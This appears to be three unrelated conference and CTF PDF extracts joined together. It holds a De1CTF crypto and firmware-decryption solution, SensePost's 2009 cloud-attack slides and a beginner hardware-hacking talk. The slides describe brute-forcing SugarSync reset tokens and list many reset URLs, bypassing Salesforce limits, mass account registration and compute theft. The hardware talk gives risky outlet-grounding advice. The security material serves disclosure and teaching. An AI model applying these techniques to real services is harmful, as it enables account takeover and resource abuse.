143618449563688375461098515223168588071571568093816095894463459406190312178787 4478505968067118834182530260554480141535655495404589552337595560072789 t2 = 152532952372014109633106018466486403087300563931190589336659988625668263717140 570377511027478650494653305047883039154832994424118903468618810136776213723511 732916692221820053229751512381598367189830931696761771227713153871812377736715 154974015520589166413442342536622196808030512728215558407532054283446118632149 646722649039162033251909908690444921006772122781275668135877971725803277815168 453388990968935920609569982452553186331771552896462373394357130552347213560062 904931520041230220854925811320198480836711006879555622307823672918108008749220 984381172409548904289896499736599269626367214058229655907931209822561 x1, y1, g1 = libnum.xgcd(e1, q1 - 1) x2, y2, g2 = libnum.xgcd(e2, q2 - 1) print pow(c1 % q1, x1, q1) print pow(c2 % q2, x2, q2) print gmpy2.iroot(129438553045863201282520202281993995063783602236209360817579070935 791487492315751604896134080637268055450856916038875117116826059977250501071498 27324553872409815709877506329089643231936567230425953377318550493449, 2) Misc Upgrade IDA BinaryNinja JEBfwupdater_mainfwupgrade_log2 image file 4081dc print libnum.n2s(3597756982424788530654510857179372044113434920098110365668160220641 544533784058353001736221836299987936893) encrypt_mainencrypt_main 0x408fd0key jebkey AES_cbc_encryptivIDA0x4093e0 IDAiv0x1f0 int __cdecl AES_cbc_encrypt(int, int, int, int, int, int); __progs_board_fw_sign_data+0x2032key __progs_board_fw_sign_data+0x6016iv0x408f28 keyiv 0x408f28 def perm2(basebuf, userkey): xorkey = 1 ret = '' for i,c in enumerate(basebuf): c = ord(c) c ^= xorkey xorkey += 1 if xorkey >= 252: xorkey = 1 c ^= ord(userkey[i%len(userkey)]) ret += chr(c) return ret key = perm2('BIuS1CVMEQG+0pUeE99jnR+vLlLd9unr', 'welcome_2_De1CTF') iv = perm2('f3+odwHhmJL1ceW1', 'welcome_2_De1CTF') firmware.bin binwalk -e flag de1ctf{Th1s_i5_r3al_f1rmw4re_3ncryp+i0n} Mine Sweeping Just patch the game. from Crypto.Cipher import AES aes = AES.new('342e1a345b28341a7e0408420c3d0e33234e461d142959316729131d15282514'.dec ode('hex'), AES.MODE_CBC, '105444080e1c2a3f561f03585f280c67'.decode('hex')) f = open('firmware.bin', 'rb') enc = f.read() dec = aes.decrypt(enc) o = open('firmware.dec', 'wb') o.write(dec) o.close() f.close()
pdf
[SensePost – 2009] Click to edit Master subtitle style 8/21/09 Clobbering the Cloud! { haroon | marco | nick } @sensepost.com [SensePost – 2009] 8/21/09 about: us {Nicholas Arvanitis | Marco Slaviero | Haroon Meer} [SensePost – 2009] 8/21/09 Why this talk ? [SensePost – 2009] 8/21/09 This is not the time to split hairs [SensePost – 2009] 8/21/09 The LOUD in cLOUD security.. • A bunch of people are talking about “the cloud” • There are large numbers of people who are immediately down on it: • “There is nothing new here” • “Same old, Same old” • If we stand around splitting hairs, we risk missing something important.. [SensePost – 2009] 8/21/09 So, what exactly *is* the Cloud? [SensePost – 2009] 8/21/09 Cloud delivery models [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 Why would we want to break it? • It will be where the action is.. • Insidious the dark side is.. • Amazingly we are making some of the same old mistakes all over again • We really don’t have to.. [SensePost – 2009] 8/21/09 What is driving Cloud adoption? • Management by in-flight magazine – Manager Version – Geek Version • Poor history from IT • Economy is down – Cost saving becomes more attractive – Cloud computing allows you to move from CAPEX to OPEX – (Private Clouds?) [SensePost – 2009] 8/21/09 A really attractive option • EC2 is Cool! • Like Crack.. [SensePost – 2009] 8/21/09 Problems testing the Cloud [SensePost – 2009] 8/21/09 Transparency [SensePost – 2009] 8/21/09 Compliance in the Cloud “If its non-regulated data, go ahead and explore. If it is regulated, hold on. I have not run across anyone comfortable putting sensitive/regulated data in the cloud” “doesn’t seem to be there as far as comfort level that security and audit aspects of that will stand up to scrutiny” (sic) --Tim Mather: RSA Security Strategist [SensePost – 2009] 8/21/09 Privacy and legal issues [SensePost – 2009] 8/21/09 Privacy • Jim Dempsey (Center for Democracy and Technology): “Loss of 4th Amendment protection for US companies” • A legal order (court) to serve data, can be used to obtain your data without any notification being served to you • There is no legal obligation to even inform you it has been given [SensePost – 2009] 8/21/09 Simple solution.. Crypto Pixie Dust! Would you trust crypto on an owned box ? [SensePost – 2009] 8/21/09 Vendor Lock-in • Pretty self-explanatory • If your relationship dies, how do you get access to your data ? • Is it even your data ? [SensePost – 2009] 8/21/09 Availability [Big guys fail too?] [SensePost – 2009] 8/21/09 Availability [Not Just Uptime!] [SensePost – 2009] 8/21/09 Availability [not just uptime!] • Account Lockout? • “Malicious activity from your account” [SensePost – 2009] 8/21/09 Monoculture [SensePost – 2009] 8/21/09 Monoculture • MonocultureGate is well known in our circles. • Just viewing that pic resulted in a raised average IQ in this room. • His (their) thesis: “ A monoculture of networked computers is a convenient and susceptible reservoir of platforms from which to launch attacks; these attacks can and do cascade. ” • Most people agreed with Dr Geer (et al) back then.. [SensePost – 2009] 8/21/09 SmugMug Case Study • Process 50+ terapixels per day • Posterchild of AWS • Heavy use of S3 and EC2 • Launched 1920 standard instances in one call • You don’t get monoculture’er than ~2000 machines that are all copies of the same image.. • ASLR Fail .. ? [SensePost – 2009] 8/21/09 Extending your attack surface [SensePost – 2009] 8/21/09 While we’re talking about phishing… [SensePost – 2009] 8/21/09 Trust… [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 Cloud #fail • MediaMax Online Storage – inactive account purging script error whacked active customer accounts • Nokia Ovi (like MobileMe) lost 3 weeks of customer data after crash • Jan 2009 – SF.com customers couldn’t log in – “core network device failed with memory allocation errors” [SensePost – 2009] 8/21/09 But you have to trust someone! <+ben> kostyas cloudbreak stuff really scares me <+MH> its impressive for sure, but why would that scare you more than simple Amazon evilness ? (Malfeasance) <+ben> You have to trust someone.. Just like how you trust Microsoft not to backdoor your OS, you trust Amazon not to screw you [SensePost – 2009] 8/21/09 Red Herring Alert! [SensePost – 2009] 8/21/09 Complete the popular phrase. • Trust, but …………… ! • Reverse Engineers keep Microsoft honest • (or at least raise the cost of possibly effective malfeasance) • Even “pre-owned” hardware is relatively easy to spot (for some definition of easy) • But how do we know that Amazon (or other big names) “Wont be evil”™ [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 Web Application Security [SensePost – 2009] 8/21/09 Using the Cloud.. For hax0r fun and profit: – Dino Dai Zovi vs. Debian – Ben Nagy vs. MS Office – Dmolnar && Zynamics [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 DDZ vs Debian 1. Populate a distributed queue with strings describing which keys to generate 2. Launch 20 VMs (the default limit) 3. Fetch key descriptors from queue, generate batches of keys, and store in S3 524,288 RSA keys – 6 Hours - $16 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 Zynamics && DMolnar • Zynamics use EC2 to demo software and classify malware, upto ~50k samples/day • David Molnar and friends fuzztest Linux binaries, sift results and notify devs, all on EC2 [SensePost – 2009] 8/21/09 Some of the players [SensePost – 2009] 8/21/09 The ones we looked at… [SensePost – 2009] 8/21/09 Autoscaling / Usage costing • Autoscaling is a great idea for companies. [SensePost – 2009] 8/21/09 Can you spot the danger? [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 Storage as a Service • In most cases this is a really simple model • Faster Internet tubes is making backing up over tubes reasonable • Disk access anywhere is a nice idea • All throw crypto-pixieDust-magic words in their marketing documents • For good measure all throw in Web based GUI access [SensePost – 2009] 8/21/09 Web Apps + File Systems [SensePost – 2009] 8/21/09 Amazon EC2 Secure Wiping [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 • file:///Users/haroon/Desktop/Vegas_Video/sug • Overview of sugarsync + normal password reset • Ends with sample link.. [SensePost – 2009] 8/21/09 Its Short, Brute & Declare Victory ?secret= for472gtb422 = lower case alphanumeric = 35^12 = Still a too big number Birthday Attack ? = 1.2 * sqrt(35^12) = Still a pretty big number [SensePost – 2009] 8/21/09 https://www.sugarsync.com/reset-password?secret=dk0tot820d7vs https://www.sugarsync.com/reset-password?secret=b6bip7pswf9m2 https://www.sugarsync.com/reset-password?secret=bx424nj2p2y9e https://www.sugarsync.com/reset-password?secret=bz6to064jf3qp https://www.sugarsync.com/reset-password?secret=ebgbgprc6eq2f https://www.sugarsync.com/reset-password?secret=modziars6o2d https://www.sugarsync.com/reset-password?secret=wi3vkonsia3 https://www.sugarsync.com/reset-password?secret=cmbicqc34apjf https://www.sugarsync.com/reset-password?secret=e2fqw2kogy8gc https://www.sugarsync.com/reset-password?secret=fkno8o8ws7th https://www.sugarsync.com/reset-password?secret=8g8jfig0m8hk https://www.sugarsync.com/reset-password?secret=ea760dof3zpve https://www.sugarsync.com/reset-password?secret=dr8rsap8ieinv https://www.sugarsync.com/reset-password?secret=d3hmdc3srnyng https://www.sugarsync.com/reset-password?secret=dcnckpph35vko https://www.sugarsync.com/reset-password?secret=ejr0k3ro4nepm https://www.sugarsync.com/reset-password?secret=etcasjbo2sa9k https://www.sugarsync.com/reset-password?secret=e0ijravm5awrf https://www.sugarsync.com/reset-password?secret=bbjb3rabpngha https://www.sugarsync.com/reset-password?secret=di8qwc355270y https://www.sugarsync.com/reset-password?secret=cm5esewps28y2 https://www.sugarsync.com/reset-password?secret=mofph975924 https://www.sugarsync.com/reset-password?secret=b5eptnaefja5f https://www.sugarsync.com/reset-password?secret=dqshjvg8pyyxn https://www.sugarsync.com/reset-password?secret=byjd3bwq39rgi https://www.sugarsync.com/reset-password?secret=di4wgdecj2ci0 https://www.sugarsync.com/reset-password?secret=ebiyxam7cextk https://www.sugarsync.com/reset-password?secret=emxscrt769hi https://www.sugarsync.com/reset-password?secret=ein2b5gwj4vpx https://www.sugarsync.com/reset-password?secret=c485kmqj7jcvo https://www.sugarsync.com/reset-password?secret=x83hrq5zgkfc https://www.sugarsync.com/reset-password?secret=ejrdyyr02pxcz https://www.sugarsync.com/reset-password?secret=dnacznkenc57z https://www.sugarsync.com/reset-password?secret=emmiagm6b55ig https://www.sugarsync.com/reset-password?secret=ca3xztf6pj44i https://www.sugarsync.com/reset-password?secret=dqmejm2dfq8jb https://www.sugarsync.com/reset-password?secret=c9879b9oqzbzj https://www.sugarsync.com/reset-password?secret=d9vc00wo09mc0 https://www.sugarsync.com/reset-password?secret=e9ghwgdt5eze6 https://www.sugarsync.com/reset-password?secret=cgk799cwjgmaa https://www.sugarsync.com/reset-password?secret=6pz2nk4sdr20 https://www.sugarsync.com/reset-password?secret=6076kgbni87b https://www.sugarsync.com/reset-password?secret=bt45nq32gvzc9 https://www.sugarsync.com/reset-password?secret=fk0c79goxbzwb https://www.sugarsync.com/reset-password?secret=bzx5gor7yaj45 https://www.sugarsync.com/reset-password?secret=b9xhfaitwok6a https://www.sugarsync.com/reset-password?secret=evifc5cvd79aw https://www.sugarsync.com/reset-password?secret=d7q7mba80hpqs https://www.sugarsync.com/reset-password?secret=ds3a27qdpyoym https://www.sugarsync.com/reset-password?secret=bms9kxwp2ypeq https://www.sugarsync.com/reset-password?secret=xi3pzry9s7kz https://www.sugarsync.com/reset-password?secret=cs3pd8tyenedp https://www.sugarsync.com/reset-password?secret=dmmzgfgvyqw72 https://www.sugarsync.com/reset-password?secret=cw8jqev4yvv0w https://www.sugarsync.com/reset-password?secret=edp9iog7fj60r https://www.sugarsync.com/reset-password?secret=cxom0z2a62iva https://www.sugarsync.com/reset-password?secret=bv45tsonz8tdi https://www.sugarsync.com/reset-password?secret=cv7z95jyctnd5 https://www.sugarsync.com/reset-password?secret=cq2j8wdbbo7om https://www.sugarsync.com/reset-password?secret=bmtjn6j3hteky https://www.sugarsync.com/reset-password?secret=fjrofysj887bf https://www.sugarsync.com/reset-password?secret=de4acew6hsn4s https://www.sugarsync.com/reset-password?secret=fdie4jk2jy56c [SensePost – 2009] 8/21/09 We Have 2 Days.. single thread : 1 hour : 648 : 2 days : 31104 10 threads : : 221472 10 machines : : 2 214 720 Wont they notice ? [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 Saved (some pride) [sugarsync vids] [SensePost – 2009] 8/21/09 PaaS [SensePost – 2009] 8/21/09 Actually.. • SF.com is both SaaS and PaaS • We took a quick look at SaaS • Good filtering, and held up well to cursory testing • Why cursory? • Ultimately, it *is* a web application.. [SensePost – 2009] 8/21/09 Clickjack [clickjack vid] [SensePost – 2009] 8/21/09 SalesForce back story • 10 years old • Initially web-based CRM software – 59 000 customers – $1 billion in revenue • Distributed infrastructure was created to support CRM (SaaS, weeeee!) • Platform was exposed to architects and devs, for PaaS and IaaS – (Ambitious project with solid aims) [SensePost – 2009] 8/21/09 Salesforce business model • Multi-tenant – Customers share infrastructure – Spread out across the world • Subscription model – Scales with features and per-license cost • Free dev accounts – More limited than paid-for orgs • AppExchange – Third party apps (ala App Store) [SensePost – 2009] 8/21/09 Primary components • HTML pages written in custom VisualForce language • Business logic written in Java-like Apex • Datastore – SOQL – SOSL • Dev environment typically written in browser or in Eclipse with plugin Developing on Salesforce [SensePost – 2009] 8/21/09 Other language features • Make HTTP requests • Bind classes to WS endpoints • Can send mails • Bind classes to mail endpoints • Configure triggers on datastore activities [SensePost – 2009] Click to edit Master subtitle style 8/21/09 …an obvious problem for resource sharing Multi-tenancy… [SensePost – 2009] 8/21/09 The Governor • Each script execution is subject to strict limits • Uncatchable exception issued when limits exceeded • Limits based on entry point of code • Limits applied to namespaces – Org gets limits C tifi d t li it Published Limits 1. Number of scripts lines 2. Number of queries 3. Size of returned datasets 4. Number of callouts 5. Number of sent emails 6. … Unpublished Limits 1. Number of received mails 2. Running time 3. ??? [SensePost – 2009] 8/21/09 Apex limitations • Language focused on short bursts of execution • Can’t easily alter SF configuration – Requires web interface interactions • APIs short on parallel programming primitives – no explicit locks and very broad synchronisation – no real threads [SensePost – 2009] 8/21/09 Workarounds • Delays • Synchronisation • Shared mem • Triggers • Threads? [SensePost – 2009] 8/21/09 Bypassing the governor • Wanted more usage than permitted for a single user action • Focused on creating event loops – Initial attempts focused on the callout feature and web services and then VisualForce pages (no dice) – Wanted to steer clear of third party interference – Settled on email • Gave us many rounds (+-1500 a day) of execution with a single user action [SensePost – 2009] 8/21/09 And so? [SensePost – 2009] 8/21/09 Sifto! • Ported Nikto into the cloud as a simple e.g. • Process – Class adds allowed endpoint through HTTP calls to SF web interface – Event loop kicked off against target • Each iteration performs ten tests • State simply inserted into datastore at end of ten tests • Trigger object inserted to fire off email for next iteration [SensePost – 2009] Click to edit Master subtitle style 8/21/09 [sifto vid] [SensePost – 2009] 8/21/09 Pros / cons • Pros – Fast(er) with more bandwidth – Free! – Capacity for DoS outweighs home user – How about SF DoS? • Cons – Prone to monitoring – Custom language / platform – Technique governed by email limits [SensePost – 2009] 8/21/09 Sharding • Accounts have limits • Accounts are 0-cost • Accounts can communicate • How about chaining accounts? – Sounds good, need to auto-register • CAPTCHA protects reg – Not a big issue • Cool, now in posession of 200+ accounts! [SensePost – 2009] 8/21/09 Future Directions • Sifto is a *really* basic POC hinting at possibilities – Turing complete, open field. Limited API though • Platform is developing rapidly, future changes in this area will introduce new possibilities – Callouts in triggers for event loops – Reduction in limitations – Improvements in language and APIs Abstracted functionality on *aaS makes [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 Yes…it’s that cool… [SensePost – 2009] 8/21/09 The Pieces (that we will touch).. – EC2 – S3 – SQS – DevPay • What we ignore: – SimpleDB – Elastic IP – CloudFront – Elastic MapReduce – Mechanical Turk [SensePost – 2009] 8/21/09 EC2 Root access to a Linux machine in seconds.. Scalable costs.. [SensePost – 2009] 8/21/09 S3 • Simple storage service • Aws description of S3 – stored in buckets using unique keys • Scalable data storage in-the-cloud • Highly available and durable • Pay-as-you-go pricing [SensePost – 2009] 8/21/09 800 Million 5 Billion 10 Billion August 06 April 07 October 07 14 Billion January 08 [SensePost – 2009] 8/21/09 Amazon S3 bucket bucket object object object object bucket object object Amazon S3 mculver-images media.mydomain.com Beach.jpg img1.jpg img2.jpg 2005/party/hat.jpg public.blueorigin.com index.html img/pic1.jpg [SensePost – 2009] 8/21/09 SQS Queue Producer Producer Producer Consumer Consumer [SensePost – 2009] 8/21/09 When in doubt.. Copy Marco! Can we steal computing resources from Amazon (or Amazon users?) Sure we can.. [SensePost – 2009] 8/21/09 Breakdown Amazon provide 47 machine images that they built themselves.. [SensePost – 2009] 8/21/09 Shared AMI gifts FTW! • Bundled AMI’s + Forum Posts • Vulnerable servers? Set_slice? SSHD? • Scanning gets you booted.. We needed an alternative.. [SensePost – 2009] 8/21/09 GhettoScan [SensePost – 2009] 8/21/09 Results s3 haroon$ grep High *.nsr |wc -l 1293 s3 haroon$ grep Critical *.nsr |wc -l 646 [SensePost – 2009] 8/21/09 License Stealing [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 Why stop there? [SensePost – 2009] 8/21/09 AWS [neek steal vid] [SensePost – 2009] 8/21/09 AWS as a single point of failure • Availability is a huge selling point • Some DoS attacks cant be stopped.. It’s simply using the service.. • But it does need to be considered.. [SensePost – 2009] 8/21/09 But it is Amazon!! [SensePost – 2009] 8/21/09 DDoS ? Really? [SensePost – 2009] 8/21/09 and • file:///Users/haroon/Desktop/Vegas_Video/ec2 [SensePost – 2009] 8/21/09 Twill Loving! [ec2 account creation vid] [SensePost – 2009] 8/21/09 Scaling Registration? 3 minutes [SensePost – 2009] 8/21/09 3 minutes 6 minutes [SensePost – 2009] 8/21/09 3 minutes 6 minutes 9 minutes [SensePost – 2009] 8/21/09 • Slav graph -> 4 hours ? N machines ? [SensePost – 2009] 8/21/09 Another way to steal machine time [SensePost – 2009] 8/21/09 Really ? [SensePost – 2009] 8/21/09 Can we get people to run our image? • Bundle an image • Register the image (Amazon assigns it an AMI-ID) • Wait for someone to run it • Profit! • Alas.. [SensePost – 2009] 8/21/09 Can we get people to run our image? • Bundle an image [SensePost – 2009] 8/21/09 Can we get people to run our image? • Bundle an image • Register the image (Amazon assigns it an AMI-ID) • Wait for someone to run it • Profit! • Alas.. [SensePost – 2009] 8/21/09 Register image, too high, race, top5 file:///Users/haroon/Desktop/Vegas_Video/a ws-race/aws-race-release/aws-race- proj.html [SensePost – 2009] 8/21/09 AMI creation [registration racing vid] [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 • S3 + Image names are going to set off another name grab! • Register image as Fedora ? [root@ec2box] # ec2-upload-bundle –b Fedora –m /tmp/image.manifest.xml –a secret –s secret ERROR: Error talking to S3: Server.AccessDenied(403): Only the bucket owner can access this property [SensePost – 2009] 8/21/09 [root@ec2box] # ec2-upload-bundle –b fedora_core –m /tmp/image.manifest.xml –a secret –s secret ERROR: Error talking to S3: Server.AccessDenied(403): Only the bucket owner can access this property [SensePost – 2009] 8/21/09 [root@ec2box] # ec2-upload-bundle –b redhat – m /tmp/image.manifest.xml –a secret –s secret ERROR: Error talking to S3: Server.AccessDenied(403): Only the bucket owner can access this property [SensePost – 2009] 8/21/09 [root@ec2box] # ec2-upload-bundle –b fedora_core_11 –m /tmp/image.manifest.xml –a secret –s secret Creating Bucket… [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 New Mistake, Old Mistake [SensePost – 2009] 8/21/09 Mobile me • Apple sneaks into the cloud • Makes sense long term, your music, video, * are belong to Steve Jobs • Insidious • iDisk, iMail, iCal, findmyPhone [SensePost – 2009] 8/21/09 Hacked by.. • Mike Arrington! (Techcrunch) • Account name leakage • Not the end of the world.. but [SensePost – 2009] 8/21/09 [SensePost – 2009] 8/21/09 Account password reset • A hard problem to solve in the cloud.. • Forgot password Nick • All dressed up and nowhere to go? • Is everyone as “easy” as Nick? [SensePost – 2009] 8/21/09 and so? • Told ya it was insidious.. • We have been going lower and lower with trojans now living in firmware • Will we notice the trojans so high up in the stack that follow us everywhere? • We all looked down on XSS initially [SensePost – 2009] 8/21/09 Conclusions • There are new problems to be solved (and some new solutions to old problems) with computing power on tap. • Marrying infrastructure to web applications means that your enterprise now [SensePost – 2009] 8/21/09 Questions ? (Videos/Slides/Tools) http://www.sensepost.com/blog/ research@sensepost.com
pdf
Introduction to Hardware Hacking Scott Fullam Why Hardware Hacking? • Hardware Hacking does not seem to get near the publicity as computer hacking • I’d like to change reputation of hacking, hardware in particular Hardware Hack: A Definition • A (sometimes) clever modification or fix made to a piece of equipment that improves its performance or makes the equipment do something for which it was not originally designed. – The results of the hack need not be ‘useful’ in the strict sense of the word. • The word ‘hack’ can be used as a noun or a verb. – Noun: “That hack you made to your toaster was great!” – Verb “Let’s hack your brothers TV set tonight to only tune in channel 13!” Why is Hardware Hacking Easier than Software Hacking? • When you buy a piece of hardware, lets say a toaster for example, you can open it up and see what is inside and see how it works. – Repair manuals available for many pieces of equipment – Your GF/SO can benefit from your hardware skills! • You can fix stuff in the house • When was the last time your GF/SO asked you to fix their copy of MS Word? • When you buy a piece of commercial software, you cannot open it up to see how it works. – You are stuck with the executable file only and no source code that shows the inner workings – Its behavior is fixed to that which the original programmer intended. – You cannot examine it and change how it works. – Open Source software is the exception to this About Me • Graduated in 1990 with MS and BS in EECS from MIT • Have been hacking since I was a kid • Have held many interesting jobs: – Toy Designer – Digital Camera Architect – Startup Founder (PocketScience Inc) – Writer (My book) My Book • “Hardware Hacking Projects for Geeks” – Published by O’Reilly – Started the book 2 years ago • Gathered together a number of hacks I put together along with a few cool ones that I found Talk Overview • EE Basics – Basic Electronic Components and what they do • Cracking the case – How to open up electronics enclosures without destroying it • Building Circuits – Reading schematic diagrams – Bread boarding – Soldering equipment and techniques • Where to Get Parts – Online sources – Offline sources • Project Walk-Throughs – Hacked Toaster – Electric Beer Mug – LED Flashlight conversion • Large Scale Hack Description – Blinkenlights EE Basics • Passive and Active Parts – Passive Parts • Resistors • Capacitors • Inductors • Transformers – Active Parts • Transistors • Diodes • Integrated Circuits EE Basics Cont. • Resistors – Limits (or Resists) the flow of electrical current – Value of resistor measured in Ohms – Voltage (V), Current (I), and Resistance (R) follows the equation V=I x R. – An example of how a resistor can be used • Current limiter for LED • LEDs can be burned out if too much current is allowed to pass through them. If an LED is connected to a directly battery with no current limit, the LED will stop working. Add a resistor in series to limit the current to the LED to fix this problem. EE Basics Cont. • Capacitors – Stores electrical energy in the form of an electric field – Act like small batteries – Value of capacitor measured in Farads. (after Michael Farady) – Voltage, Current, Capacitance follow this equation: I = C dv/dt – Are sometimes polarized (they have a ‘plus’ side and a ‘minus’ side) – Are often used to filter noisy circuits • Most circuits will place many capacitors across their power supplies to decrease overall noise EE Basics Cont. • Inductors – Stores energy in the form of a magnetic field – Values specified in Henries – Voltage (V), Current (I), and Inductance (L) follow this equation: V = L di/dt – Often used to filter out Radio Frequency (RF) Interference – Used extensively in power supplies EE Basics cont. • Transformers • Couples energy from one side to the other via magnetic field • The turns ratio determines the ratio of AC voltage • Used to isolate signals – A signal from one side is transferred to the other without a common ground • Used to ‘step up’ a voltage – Can be used to generate large voltages EE Basics Cont • Active Components – Transistors • Act as a switch • Two basic types – BiPolar – Metal Oxide Semiconductor (MOS) – Diodes • One way gate • Light Emitting Diode – Integrated Circuits • Made from many transistors EE Basics Cont • Transistors – Electronic Switches – Two basic types • Bi-Polar – Current Controlled Current Switch – Two ‘flavors’ » NPN » PNP – Three terminals: » Emitter » Base » Collector • MOS (Metal Oxide Semiconductor) – Voltage Controlled Current Switch – Two ‘flavors’ » P-Channel » N-Channel – Three Terminals » Drain » Gate » Source EE Basics Cont • Diodes – One way current switch • Three common types – Standard – Schottkey – Zener • Each has a ‘plus’ side and a ‘minus’ side • The side with the line on it is the ‘minus’ side • Current is conducted from the plus side to the minus side • Forward Voltage Drop of 0.6V and above – Light Emitting Diode • Forward Voltage Drop of 1.7V and above • Available in many colors • Each has a ‘plus’ side and an ‘minus’ side • The ‘minus’ side often has a flat spot EE Basics cont • How to read the numbers on an IC package • Look for manufacturers logo • Look at first part of numeric string on part – Numbers and letters after the ‘dash’ are often speed grades and production date codes • Look up numbers on the web EE Basics Cont • Here are a few examples of well known chip companies Cracking the Case • How can you open an enclosure without destroying it? – Have the right tools • Lots of Small Screwdrivers • Philips and flat head – Know how most enclosures are fastened together. • Fasteners – Screws – Plastic snaps molded into the case – Glue – Double Sided Tape Cracking the Case cont. • Hardware Hacking is like surgery! – You wouldn’t want your doctor using an axe to perform an appendectomy… Good Tools – Get high quality hardened steel tools • The cheap stuff breaks and strips the heads off the screws – Torx drivers • Star shaped head • Many consumer electronics cases now use these – Hex Drivers • Hexagon shaped head • Also popular in consumer electronics – Tweezers • Useful for fishing out dropped screws from inside cases • Flat end can be used as a pry bar – Dental Picks – Razor Blades • I prefer Xacto style with handles – Collecting the tools can be an obsession of its own • Be the envy of the other hardware hackers by having the latest German hardened steel drivers Cracking the Case cont. • Common case fasteners – Screws – Plastic snaps molded into case – Glue – Double Sided Tape • The Palm V case is held together this way. You need a hair dryer to heat up the tape so that it releases to open it • Screws are often placed so that they cannot be seen – On the bottom of the product – Under labels – Under the ‘feet’ of the product Cracking the Case cont. • Good ways to open up the case – Clear a table top – Place sheets of white paper under the items to be opened • You can see dropped screws better on the white paper – Make sure power has been removed from the device being taken down • Unplug it • Remove all batteries – Carefully remove all of the screws you can find • Make sure to look under all labels and feet • Take another piece of paper and sketch a rough outline of the case on it. • After each screw is removed, tape it to the diagram in its approximate location. – This makes it a lot easier to put them all back when you are done Cracking the Case cont. – Look for seams and gently pull at them • Don’t force it. • Use tweezers or a pick to open up a crack along the seam • Pull the two halves and feel for any resistance – Anywhere there is resistance, look for a screw that was not removed – Look for a plastic snap and pry it apart with the back of the tweezers – Once the electronics are exposed, be careful not damage them with static electricity • Use a commercial static wrist strap that is plugged into a Ground point • If no commercial static wrist strap is available frequently touch the screw that holds the power outlet to the wall – Better yet, attach a wire to this screw and attach the other end of the wire to your wrist by stripping 8” of the insulation and wrapping the exposed wire around your wrist – Do _not_ plug the wire into any of the outlet holes. Building Circuits • Reading Schematic Diagrams • Bread boarding – Try out the circuit before soldering • Soldering – Irons • Lab bench style • Portable • Cordless – Electric – Gas – Solder – Perf Board – Tools Building Circuits cont. • The basics of reading a schematic diagram Part Reference Power Supply Ground Net Name Signal Connection Building Circuit cont. • Bread-boarding – Utilizes a plug board and 24 gauge solid core wire – A way to build a circuit without soldering – Useful for small circuits – Not useful for high frequency circuits (No RF) Building Circuits cont. • Soldering – Iron • Electric Irons • Butane Irons – Solder • Tin/Lead • Lead Free • Silver • Tip Cleaner – Sponge – Copper sponge – Flux • Cleans surfaces to be soldered – Helps solder to ‘stick’ • Rosin • Water Soluble • No Clean – Solder Remover • Solder Wick • Solder Sucker Building Circuit cont • Perf Board – Fiberglass board with evenly spaced metal plated holes – Used to build more permanent circuits • Tools – Wire Strippers – Wire – Wire cutters – Needle Nose Pliers Where to Get Parts • On Line – Digikey: www.digikey.com – Mouser: www.mouser.com – Jameco: www.jameco.com – American Science and Surplus: www.sciplus.com – Halted on line: www.hsc.com • Off Line – Frys – Radio Shack – Halted Specialties Project Walk Throughs • Toaster • Beer Mug • LED Flashlight Toaster • Read about Weather Toaster from a design student in the UK – Toaster would toast picture of the days weather on your bread in the morning – Thought his design was too complicated – Wanted to replicate the idea with less work – Made design trade offs • Hacked together the basic concept in a weekend Toaster Insides • I modified the toasting element wiring and added a mask inside for the toasting patterns Self Chilling Beer Glass • I had a extra Pentium III cooling system on hand (from some overclocking experiments • I wanted to keep my drink cool • The Self Chilling Drinking Mug was born Self Chilling Beer Mug cont. • Need to use a metal mug • Powered from either a 12V cigarette lighter outlet or a PC power supply Self Chilling Beer Mug Cont • Here are some other view of the mug LED Flashlight • Convert Standard flashlight to LED Flashlight LED Flashlight cont. • A 3 or more cell flashlight is easy to convert • Only the bulb need be converted BlinkenLights • An 8 story building is turned into a giant display • Hack developed and put on by the Chaos Computer Club of Germany • Each window in the building is a pixel – An individually controlled halogen lamp is placed in front of each window – Over 5,000 meters of Cat5 cable is used • The system is controlled by a Linux PC with a 192 channel parallel I/O card • Photos courtesy of the Chaos Computer Club in Germany Blinkenlights Blinkenlights Blinkenlights BlinkenLights A Renaissance in Hacking! • Hardware Hacking is Easy and Fun! • It is akin to recycling – Old equipment gets reused • You can learn something while doing it – The process of deconstruction is educational • Be careful when hacking anything that is plugged into the wall or has powerful motors in it – Unplug/deactivate the equipment first • Go Home today and Hack something! My Garage Hacking Space • Old Table • Two Channel Scope • Parts Bins • Lots of Power Outlets • Lots of junk to salvage parts from • Soldering iron and tools • Hand tools • Desk Lamp • Magnifying headset Questions and Demos
pdf
